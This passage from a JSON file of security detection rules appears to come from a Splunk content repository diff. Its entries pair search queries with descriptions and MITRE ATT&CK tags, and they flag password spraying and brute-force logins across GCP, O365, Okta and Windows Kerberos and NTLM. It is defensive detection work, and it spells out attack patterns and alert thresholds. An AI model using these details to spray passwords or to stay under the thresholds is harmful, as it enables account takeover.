3-sigma rule to detect unusual failed authentication attempts. This activity is significant as it may signal an adversary attempting to gain initial access or elevate privileges. If confirmed malicious, this could lead to unauthorized access, data breaches, or further exploitation within the environment.", - "search": "`gws_reports_login` event.type = login event.name = login_failure| bucket span=5m _time | stats dc(user_name) AS unique_accounts values(user_name) as tried_accounts values(authentication_method) AS authentication_method by _time, src | eventstats avg(unique_accounts) as ip_avg , stdev(unique_accounts) as ip_std by _time | eval upperBound=(ip_avg+ip_std*3) | eval isOutlier=if(unique_accounts > 10 and unique_accounts >= upperBound, 1, 0) | where isOutlier =1| `gcp_unusual_number_of_failed_authentications_from_ip_filter`", - "tags": { - "analytic_story": [ - "GCP Account Takeover" - ], - "asset_type": "Google Cloud Platform tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "tried_accounts", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Unusual number of failed console login attempts (Count: $unique_accounts$) against users from IP Address - $src$", - "risk_score": 54, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110.004", - "mitre_attack_technique": "Credential Stuffing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Chimera" - ] - } - ] - } - }, - { - "name": "O365 Multi-Source Failed Authentications Spike", - "description": "The following analytic identifies a spike in failed authentication attempts within an Office 365 environment, indicative of a potential distributed password spraying attack. It leverages UserLoginFailed events from O365 Management Activity logs, focusing on ErrorNumber 50126. This detection is significant as it highlights attempts to bypass security controls using multiple IP addresses and user agents. If confirmed malicious, this activity could lead to unauthorized access, data breaches, privilege escalation, and lateral movement within the organization. Early detection is crucial to prevent account takeovers and mitigate subsequent threats.", - "search": " `o365_management_activity` Workload=AzureActiveDirectory Operation=UserLoginFailed ErrorNumber=50126 | bucket span=5m _time | eval uniqueIPUserCombo = src_ip . \"-\" . user | stats dc(uniqueIPUserCombo) as uniqueIpUserCombinations, dc(user) as uniqueUsers, dc(src_ip) as uniqueIPs, values(user) as user, values(src_ip) as ips, values(user_agent) as user_agents by _time | where uniqueIpUserCombinations > 20 AND uniqueUsers > 20 AND uniqueIPs > 20 | `o365_multi_source_failed_authentications_spike_filter`", - "tags": { - "analytic_story": [ - "NOBELIUM Group", - "Office 365 Account Takeover" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "An anomalous multi source authentication spike ocurred at $_time$", - "risk_score": 42, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110.004", - "mitre_attack_technique": "Credential Stuffing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Chimera" - ] - } - ] - } - }, - { - "name": "O365 Multiple Users Failing To Authenticate From Ip", - "description": "The following analytic identifies instances where more than 10 unique user accounts fail to authenticate from a single IP address within a 5-minute window. This detection leverages O365 audit logs, specifically Azure Active Directory login failures (AzureActiveDirectoryStsLogon). Such activity is significant as it may indicate brute-force attacks or password spraying attempts. If confirmed malicious, this behavior suggests an external entity is attempting to breach security by targeting multiple accounts, potentially leading to unauthorized access. Immediate action is required to block or monitor the suspicious IP and notify affected users to enhance their security measures.", - "search": " `o365_management_activity` Workload=AzureActiveDirectory Operation=UserLoginFailed ErrorNumber=50126 | bucket span=5m _time | stats dc(user) as unique_accounts values(user) as user values(LogonError) as LogonError values(signature) as signature values(UserAgent) as UserAgent by _time, src_ip | where unique_accounts > 10 | `o365_multiple_users_failing_to_authenticate_from_ip_filter`", - "tags": { - "analytic_story": [ - "NOBELIUM Group", - "Office 365 Account Takeover" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Source Ip $src_ip$ failed to authenticate with 20 users within 5 minutes.", - "risk_score": 63, - "security_domain": "identity", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110.004", - "mitre_attack_technique": "Credential Stuffing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Chimera" - ] - } - ] - } - }, - { - "name": "Multiple Okta Users With Invalid Credentials From The Same IP", - "description": "**DEPRECATION NOTE** - This search has been deprecated and replaced with `Okta Multiple Users Failing To Authenticate From Ip`. This analytic identifies multiple failed logon attempts from a single IP in a short period of time. Use this analytic to identify patterns of suspicious logins from a single source and filter as needed or use this to drive tuning for higher fidelity analytics.", - "search": "`okta` eventType=user.session.start outcome.result=FAILURE | rename client.geographicalContext.country as country, client.geographicalContext.state as state, client.geographicalContext.city as city | stats min(_time) as firstTime max(_time) as lastTime dc(src_user) as distinct_users values(src_user) as users by src_ip, displayMessage, outcome.reason, country, state, city | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | search distinct_users > 5| `multiple_okta_users_with_invalid_credentials_from_the_same_ip_filter`", - "tags": { - "analytic_story": [ - "Suspicious Okta Activity" - ], - "asset_type": "Okta Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Multple user accounts have failed to authenticate from a single IP.", - "risk_score": 9, - "security_domain": "access", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.001", - "mitre_attack_technique": "Default Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "FIN13", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Okta ThreatInsight Suspected PasswordSpray Attack", - "description": "**DEPRECATION NOTE** - This search has been deprecated and replaced with `Okta ThreatInsight Threat Detected`. The following analytic utilizes Oktas ThreatInsight to identify \"PasswordSpray\" and any included secondary outcome reasons. This event will trigger when a brute force attempt occurs with unknown usernames attempted.", - "search": "`okta` eventType=\"security.threat.detected\" AND outcome.reason=\"Password Spray\" | stats count min(_time) as firstTime max(_time) as lastTime values(displayMessage) by eventType client.userAgent.rawUserAgent client.userAgent.browser outcome.reason | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `okta_threatinsight_suspected_passwordspray_attack_filter`", - "tags": { - "analytic_story": [ - "Suspicious Okta Activity" - ], - "asset_type": "Infrastructure", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "outcome.reason", - "type": "Other", - "role": [ - "Other" - ] - } - ], - "message": "Okta ThreatInsight has detected or prevented a PasswordSpray attack.", - "risk_score": 60, - "security_domain": "access", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.001", - "mitre_attack_technique": "Default Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "FIN13", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - } - ] - } - }, - { - "name": "Windows Multiple Disabled Users Failed To Authenticate Wth Kerberos", - "description": "The following analytic detects a single source endpoint failing to authenticate with 30 unique disabled domain users using the Kerberos protocol within 5 minutes. It leverages Windows Security Event 4768, focusing on failure code `0x12`, indicating revoked credentials. This activity is significant as it may indicate a Password Spraying attack targeting disabled accounts, a tactic used by adversaries to gain initial access or elevate privileges. If confirmed malicious, this could lead to unauthorized access or privilege escalation within the Active Directory environment, posing a severe security risk.", - "search": "`wineventlog_security` EventCode=4768 TargetUserName!=*$ Status=0x12 | bucket span=5m _time | stats dc(TargetUserName) AS unique_accounts values(TargetUserName) as user by _time, IpAddress | where unique_accounts > 30 | `windows_multiple_disabled_users_failed_to_authenticate_wth_kerberos_filter`", - "tags": { - "analytic_story": [ - "Active Directory Kerberos Attacks", - "Active Directory Password Spraying", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "IpAddress", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Potential Kerberos based password spraying attack from $IpAddress$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - } - ] - } - }, - { - "name": "Windows Multiple Invalid Users Fail To Authenticate Using Kerberos", - "description": "The following analytic identifies a source endpoint failing to authenticate with 30 unique invalid domain users using the Kerberos protocol. This detection leverages EventCode 4768, specifically looking for failure code 0x6, indicating the user is not found in the Kerberos database. This activity is significant as it may indicate a Password Spraying attack, where an adversary attempts to gain initial access or elevate privileges. If confirmed malicious, this could lead to unauthorized access or privilege escalation within the Active Directory environment, posing a significant security risk.", - "search": "`wineventlog_security` EventCode=4768 TargetUserName!=*$ Status=0x6 | bucket span=5m _time | stats dc(TargetUserName) AS unique_accounts values(TargetUserName) as user by _time, IpAddress | where unique_accounts > 30 | `windows_multiple_invalid_users_fail_to_authenticate_using_kerberos_filter`", - "tags": { - "analytic_story": [ - "Active Directory Kerberos Attacks", - "Active Directory Password Spraying", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "IpAddress", - "type": "Endpoint", - "role": [ - "Attacker" - ] - } - ], - "message": "Potential Kerberos based password spraying attack from $IpAddress$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - } - ] - } - }, - { - "name": "Windows Multiple Invalid Users Failed To Authenticate Using NTLM", - "description": "The following analytic detects a single source endpoint failing to authenticate with 30 unique invalid users using the NTLM protocol. It leverages EventCode 4776 from Domain Controller logs, focusing on error code 0xC0000064, which indicates non-existent usernames. This behavior is significant as it may indicate a Password Spraying attack, where an adversary attempts to gain initial access or elevate privileges. If confirmed malicious, this activity could lead to unauthorized access, privilege escalation, and potential compromise of sensitive information within the Active Directory environment.", - "search": " `wineventlog_security` EventCode=4776 TargetUserName!=*$ Status=0xc0000064 | bucket span=5m _time | stats dc(TargetUserName) AS unique_accounts values(TargetUserName) as tried_accounts by _time, Workstation | where unique_accounts > 30 | `windows_multiple_invalid_users_failed_to_authenticate_using_ntlm_filter`", - "tags": { - "analytic_story": [ - "Active Directory Password Spraying", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "Workstation", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Potential NTLM based password spraying attack from $Workstation$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - } - ] - } - }, - { - "name": "Windows Multiple Users Fail To Authenticate Wth ExplicitCredentials", - "description": "The following analytic identifies a source user failing to authenticate with 30 unique users using explicit credentials on a host. It leverages Windows Event 4648, which is generated when a process attempts an account logon by explicitly specifying account credentials. This detection is significant as it may indicate a Password Spraying attack, where an adversary attempts to gain initial access or elevate privileges within an Active Directory environment. If confirmed malicious, this activity could lead to unauthorized access, privilege escalation, and potential compromise of sensitive information.", - "search": " `wineventlog_security` EventCode=4648 Caller_User_Name!=*$ Target_User_Name!=*$ | bucket span=5m _time | stats dc(Target_User_Name) AS unique_accounts values(Target_User_Name) as tried_account by _time, Computer, Caller_User_Name | where unique_accounts > 30 | `windows_multiple_users_fail_to_authenticate_wth_explicitcredentials_filter`", - "tags": { - "analytic_story": [ - "Active Directory Password Spraying", - "Insider Threat", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "Computer", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Potential password spraying attack from $Computer$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - } - ] - } - }, - { - "name": "Windows Multiple Users Failed To Authenticate From Host Using NTLM", - "description": "The following analytic identifies a single source endpoint failing to authenticate with 30 unique valid users using the NTLM protocol. It leverages EventCode 4776 from Domain Controller logs, focusing on error code 0xC000006A, which indicates a bad password. This behavior is significant as it may indicate a Password Spraying attack, where an adversary attempts to gain initial access or elevate privileges. If confirmed malicious, this activity could lead to unauthorized access to sensitive information or further compromise of the Active Directory environment.", - "search": " `wineventlog_security` EventCode=4776 TargetUserName!=*$ Status=0xC000006A | bucket span=5m _time | stats dc(TargetUserName) AS unique_accounts values(TargetUserName) as tried_accounts by _time, Workstation | where unique_accounts > 30 | `windows_multiple_users_failed_to_authenticate_from_host_using_ntlm_filter`", - "tags": { - "analytic_story": [ - "Active Directory Password Spraying", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "Workstation", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Potential NTLM based password spraying attack from $Workstation$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - } - ] - } - }, - { - "name": "Windows Multiple Users Failed To Authenticate From Process", - "description": "The following analytic detects a source process failing to authenticate with 30 unique users, indicating a potential Password Spraying attack. It leverages Windows Event 4625 with Logon Type 2, collected from domain controllers, member servers, and workstations. This activity is significant as it may represent an adversary attempting to gain initial access or elevate privileges within an Active Directory environment. If confirmed malicious, this could lead to unauthorized access, privilege escalation, or further compromise of the network, posing a severe security risk.", - "search": " `wineventlog_security` EventCode=4625 Logon_Type=2 ProcessName!=\"-\" | bucket span=5m _time | stats dc(TargetUserName) AS unique_accounts values(TargetUserName) as tried_accounts by _time, ProcessName, SubjectUserName, Computer | rename Computer as dest | where unique_accounts > 30 | `windows_multiple_users_failed_to_authenticate_from_process_filter`", - "tags": { - "analytic_story": [ - "Active Directory Password Spraying", - "Insider Threat", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Potential password spraying attack from $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - } - ] - } - }, - { - "name": "Windows Multiple Users Failed To Authenticate Using Kerberos", - "description": "The following analytic identifies a single source endpoint failing to authenticate with 30 unique users using the Kerberos protocol. It leverages EventCode 4771 with Status 0x18, indicating wrong password attempts, and aggregates these events over a 5-minute window. This behavior is significant as it may indicate a Password Spraying attack, where an adversary attempts to gain initial access or elevate privileges in an Active Directory environment. If confirmed malicious, this activity could lead to unauthorized access, privilege escalation, and potential compromise of sensitive information.", - "search": "`wineventlog_security` EventCode=4771 TargetUserName!=\"*$\" Status=0x18 | bucket span=5m _time | stats dc(TargetUserName) AS unique_accounts values(TargetUserName) as user by _time, IpAddress | where unique_accounts > 30 | `windows_multiple_users_failed_to_authenticate_using_kerberos_filter`", - "tags": { - "analytic_story": [ - "Active Directory Kerberos Attacks", - "Active Directory Password Spraying", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "IpAddress", - "type": "Endpoint", - "role": [ - "Attacker" - ] - } - ], - "message": "Potential Kerberos based password spraying attack from $IpAddress$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - } - ] - } - }, - { - "name": "Windows Multiple Users Remotely Failed To Authenticate From Host", - "description": "The following analytic identifies a source host failing to authenticate against a remote host with 30 unique users. It leverages Windows Event 4625 with Logon Type 3, indicating remote authentication attempts. This behavior is significant as it may indicate a Password Spraying attack, where an adversary attempts to gain initial access or elevate privileges in an Active Directory environment. If confirmed malicious, this activity could lead to unauthorized access, privilege escalation, and potential compromise of sensitive information. This detection is crucial for real-time security monitoring and threat hunting.", - "search": " `wineventlog_security` EventCode=4625 Logon_Type=3 IpAddress!=\"-\" | bucket span=5m _time | stats dc(TargetUserName) AS unique_accounts values(TargetUserName) as tried_accounts by _time, IpAddress, Computer | rename Computer as dest| where unique_accounts > 30 | `windows_multiple_users_remotely_failed_to_authenticate_from_host_filter`", - "tags": { - "analytic_story": [ - "Active Directory Password Spraying", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Potential password spraying attack on $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - } - ] - } - }, - { - "name": "Windows Unusual Count Of Disabled Users Failed Auth Using Kerberos", - "description": "The following analytic identifies a source endpoint failing to authenticate with multiple disabled domain users using the Kerberos protocol. It leverages EventCode 4768, which is generated when the Key Distribution Center issues a Kerberos Ticket Granting Ticket (TGT) and detects failure code `0x12` (credentials revoked). This behavior is significant as it may indicate a Password Spraying attack targeting disabled accounts, potentially leading to initial access or privilege escalation. If confirmed malicious, attackers could gain unauthorized access or elevate privileges within the Active Directory environment.", - "search": "`wineventlog_security` EventCode=4768 TargetUserName!=*$ Status=0x12 | bucket span=5m _time | stats dc(TargetUserName) AS unique_accounts values(TargetUserName) as user by _time, IpAddress | eventstats avg(unique_accounts) as comp_avg , stdev(unique_accounts) as comp_std by IpAddress | eval upperBound=(comp_avg+comp_std*3) | eval isOutlier=if(unique_accounts > 10 and unique_accounts >= upperBound, 1, 0) | search isOutlier=1 | `windows_unusual_count_of_disabled_users_failed_auth_using_kerberos_filter`", - "tags": { - "analytic_story": [ - "Active Directory Kerberos Attacks", - "Active Directory Password Spraying", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "IpAddress", - "type": "Endpoint", - "role": [ - "Attacker" - ] - } - ], - "message": "Potential Kerberos based password spraying attack from $IpAddress$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", 